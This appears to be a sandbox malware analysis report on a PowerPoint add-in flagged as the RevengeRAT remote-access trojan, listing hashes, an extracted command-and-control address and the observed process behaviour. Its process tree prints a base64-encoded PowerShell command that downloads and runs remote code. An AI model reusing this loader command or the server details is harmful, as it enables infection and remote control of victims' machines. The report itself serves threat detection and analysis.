Analysis
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max time kernel
93s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
06-08-2024 18:06
Static task
static1
Behavioral task
behavioral1
Sample
detalhes relevantes.ppam
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
detalhes relevantes.ppam
Resource
win10v2004-20240802-en
General
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Target
detalhes relevantes.ppam
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Size
44KB
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MD5
145d6e35667384492691a6126aafb7f9
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SHA1
c5ea7454057d62517ed3ffa842948b9d6b7ebdc8
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SHA256
be04b4d5018ac364eff7c93f1c211a1e03d59c49a6c2fecc406254b89716d4f4
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SHA512
f402a0ccbb4e91a71648e149f4b76f1b3d2e1c81a8d1cbf0f22fdf5763b1bbaf36bf916c441364e922c2343fb27189f7d653dd2db5c4767a2511ab464a5f676d
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SSDEEP
768:VP1rEyUexTfIrlTcpSsSs8I2PPHhbk0fBIhVmm2NTXNopBwseX4e1DeBE3dDLqM/:VtlUexzwor4PFkUBIhVgNTKpBYP1FXqe
Malware Config
Extracted
revengerat
NyanCatRevenge
18.228.173.171:5222
8b39f6245ef24a80
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 1796 4788 powershell.exe POWERPNT.EXE -
RevengeRAT
Remote-access trojan with a wide range of capabilities.
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 10 1796 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1796 set thread context of 4504 1796 powershell.exe RegSvcs.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
RegSvcs.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegSvcs.exe -
Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
POWERPNT.EXERegSvcs.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 RegSvcs.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegSvcs.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
POWERPNT.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 4788 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1796 powershell.exe 1796 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1796 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
POWERPNT.EXEpid process 4788 POWERPNT.EXE 4788 POWERPNT.EXE 4788 POWERPNT.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
POWERPNT.EXEpowershell.exedescription pid process target process PID 4788 wrote to memory of 1796 4788 POWERPNT.EXE powershell.exe PID 4788 wrote to memory of 1796 4788 POWERPNT.EXE powershell.exe PID 1796 wrote to memory of 4504 1796 powershell.exe RegSvcs.exe PID 1796 wrote to memory of 4504 1796 powershell.exe RegSvcs.exe PID 1796 wrote to memory of 4504 1796 powershell.exe RegSvcs.exe PID 1796 wrote to memory of 4504 1796 powershell.exe RegSvcs.exe PID 1796 wrote to memory of 4504 1796 powershell.exe RegSvcs.exe PID 1796 wrote to memory of 4504 1796 powershell.exe RegSvcs.exe PID 1796 wrote to memory of 4504 1796 powershell.exe RegSvcs.exe PID 1796 wrote to memory of 4504 1796 powershell.exe RegSvcs.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\detalhes relevantes.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4788 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAE4ATwBWAE8AUgBFAFYARQBSAEcARQBNAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADcAOQA2AGYAZQA4ADIANAAtADMAZQA0ADUALQA0ADYANgBkAC0AOQBkADYANgAtADYAOAAxADQAZQBhADIANwAyAGYAYQA0AA0ACgAnACkAOwAgAA0ACgBkAG4ATgB0AFIAcAB0AFcAUgBGAEQAaQBVAHAAVQBjAEcASABMAHoAbwBEAFUARgBvAEUAQwBRAHoAQwBMAEYAaABWAGkAVAB2AFMASABmAHQAYwBwAFoARQBVAFIARABOAGIAQgBkAEoAcwBwAGIAQQBpAGUAUwBNAEkAYQBuAFUAQwBiAFoAYgBjAHMATwBFAEcARgB1AFMADQAKAA==""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
PID:4504
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82